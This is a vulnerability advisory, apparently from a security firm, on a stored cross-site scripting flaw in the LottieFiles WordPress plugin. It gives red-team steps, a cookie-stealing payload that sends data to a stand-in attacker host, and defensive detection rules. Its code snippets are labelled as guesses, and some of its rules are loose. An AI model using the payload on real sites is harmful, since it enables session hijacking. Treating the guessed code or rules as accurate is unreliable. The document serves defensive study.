CVE-2024-5060

Executive Summary

CVE-2024-5060 is a Stored Cross-Site Scripting (XSS) vulnerability in the LottieFiles – JSON Based Animation Lottie & Bodymovin for Elementor WordPress plugin. The flaw exists in all versions up to and including 1.10.9 due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into pages. When a user accesses an injected page, the malicious script executes, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly into WordPress sites, making it a supply chain risk for site administrators who rely on the plugin for animation features.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the impact is amplified by the stored nature of the XSS, which can affect all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the LottieFiles plugin’s handling of user-submitted animation data. The plugin allows users to embed Lottie animations via shortcodes or Elementor widgets. When an authenticated user with Contributor-level access or higher creates or edits a page containing a Lottie animation, the plugin fails to properly sanitize and escape user-supplied input (e.g., animation URLs, JSON parameters, or custom attributes). This allows an attacker to inject arbitrary JavaScript code into the page content.

The injected script is stored in the WordPress database and executed when any user (including administrators) views the affected page. The attack flow is:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new page or edits an existing one.
3. Attacker inserts a LottieFiles block and injects malicious JavaScript into a vulnerable field (e.g., lottie_url or custom_css).
4. The script is stored and executed on page load, performing actions like stealing cookies or redirecting users.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.10.9): The plugin likely outputs user input directly without escaping. For example:

echo '<div class="lottie-player" data-url="' . $atts['lottie_url'] . '"></div>';

Here, $atts['lottie_url'] is not sanitized or escaped, allowing injection of " onload="alert(1)".

Patched Code (hypothetical): A patched version would use WordPress’s esc_url() and wp_kses() functions:

echo '<div class="lottie-player" data-url="' . esc_url($atts['lottie_url']) . '"></div>';

Additionally, output escaping with esc_attr() for HTML attributes would prevent XSS.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with LottieFiles plugin <= 1.10.9, a Contributor-level account.
2. Steps:
   • Log in as Contributor.
   • Create a new page.
   • Insert a LottieFiles block (e.g., via Elementor or shortcode).
   • In the lottie_url field, inject: " onload="alert(document.cookie)".
   • Publish the page.
   • When any user visits the page, the script executes.

Example payload:

" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

1. Detection: Monitor for pages created by Contributor-level users containing suspicious attributes like onload, onerror, or onclick.
2. Prevention: Restrict Contributor-level users from using shortcodes or custom HTML blocks. Use a Web Application Firewall (WAF) to block XSS payloads.
3. Response: If compromised, remove the malicious page, reset affected user sessions, and update the plugin.

Indicators of Compromise (IOCs)

• File-based: Modified WordPress pages/posts containing <script> tags or event handlers (e.g., onload, onerror) in LottieFiles shortcode attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log-based: WordPress audit logs showing page creation/editing by Contributor users with unusual content.
• Database: Entries in wp_posts table with post_content containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_5060_LottieFiles_XSS {
    meta:
        description = "Detects stored XSS payloads in LottieFiles plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5060"
    strings:
        $xss1 = /lottie_url["']?\s*=\s*["'][^"']*["']\s+on\w+=/i
        $xss2 = /lottie-player[^>]*on\w+=/i
        $xss3 = /<script>.*<\/script>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5060 LottieFiles Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via LottieFiles plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '/wp-content/plugins/lottiefiles/'
        http.user_agent|contains: 'Mozilla'
    condition: selection
falsepositives:
    - Legitimate use of LottieFiles
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5060 LottieFiles Stored XSS Attempt"; flow:to_server; content:"/wp-content/plugins/lottiefiles/"; http_uri; pcre:"/(lottie_url|onload|onerror|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the LottieFiles plugin until a patch is available.
2. Short-term: Restrict Contributor-level users from using shortcodes or custom HTML. Implement a Content Security Policy (CSP) to block inline scripts.
3. Long-term: Apply input sanitization and output escaping as per WordPress coding standards. Use esc_url(), esc_attr(), and wp_kses() for all user-supplied data.
4. Monitoring: Enable WordPress audit logging and review pages created by low-privilege users.

Valters IT
Securing Digital Frontiers